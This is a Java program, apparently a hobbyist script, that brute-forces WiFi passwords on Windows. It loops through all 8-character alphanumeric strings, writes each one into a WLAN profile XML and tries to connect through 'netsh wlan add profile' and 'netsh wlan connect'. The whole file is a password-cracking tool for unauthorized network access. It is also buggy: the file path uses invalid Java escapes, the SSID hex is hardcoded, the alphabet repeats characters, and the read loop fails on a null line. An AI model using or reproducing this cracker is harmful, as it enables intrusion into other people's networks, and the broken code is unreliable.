package com.flx.jxh.lx;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.util.Scanner;
public class ChongQiLuYou {
public static void main(String[] args) throws IOException {
@SuppressWarnings("resource")
Scanner in = new Scanner(System.in);
System.out.println("输入要连接的WiFi名:");
String a = in.next();
// 如何破解密码
String[] b = { "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "A",
"a", "b", "B", "C", "c", "d", "D", "e", "E", "f", "F", "g",
"G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m",
"M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s",
"S", "t", "T", "u", "U", "v", "V", "w", "W", "w", "W", "x",
"X", "y", "Y", "z", "Z" };
a:for (int i = 0; i < b.length; i++) {
for (int j = 0; j < b.length; j++) {
for (int j2 = 0; j2 < b.length; j2++) {
for (int k = 0; k < b.length; k++) {
for (int k2 = 0; k2 < b.length; k2++) {
for (int l = 0; l < b.length; l++) {
for (int l2 = 0; l2 < b.length; l2++) {
for (int m = 0; m < b.length; m++) {
String c = b[i] + b[j] + b[j2] + b[k]
+ b[k2] + b[l] + b[l2] + b[m];
String d = "<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>"
+ a
+ "</name>"
+ "<SSIDConfig>"
+ " <SSID>"
+ " <hex>6950686F6E65</hex>"
+ " <name>"
+ a
+ "</name>"
+ " </SSID>"
+ "</SSIDConfig>"
+ "<connectionType>ESS</connectionType>"
+ "<connectionMode>auto</connectionMode>"
+ "<MSM>"
+ " <security>"
+ " <authEncryption>"
+ " <authentication>WPA2PSK</authentication>"
+ " <encryption>AES</encryption>"
+ " <useOneX>false</useOneX>"
+ " </authEncryption>"
+ " <sharedKey>"
+ " <keyType>passPhrase</keyType>"
+ " <protected>false</protected>"
+ " <keyMaterial>"
+ c
+ "</keyMaterial>"
+ " </sharedKey>"
+ " </security>"
+ "</MSM>"
+ "<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">"
+ " <enableRandomization>false</enableRandomization>"
+ " <randomizationSeed>3759101657</randomizationSeed>"
+ "</MacRandomization>"
+ "</WLANProfile>";
Writer writer = new FileWriter(
new File(
"C:\Users\flx\WLAN-"
+ a.toUpperCase()
+ ".xml"));
BufferedWriter bw = new BufferedWriter(
writer);
bw.write(d);
bw.close();
writer.close();
Runtime.getRuntime().exec("netsh wlan add profile filename=\"WLAN-"+a.toUpperCase()+".xml\"");
Process p = Runtime.getRuntime().exec(
"netsh wlan connect name=" + a
+ " ssid=" + a);
BufferedReader br = new BufferedReader(
new InputStreamReader(
p.getInputStream()));
int e = 1;
String f;
while (true) {
System.out.println(f=br.readLine());
if (f.equals("已成功完成连接请求。")) {
e = 0;
break;
}
}
if (e == 0) {
break a;
}
}
}
}
}
}
}
}
}
}
}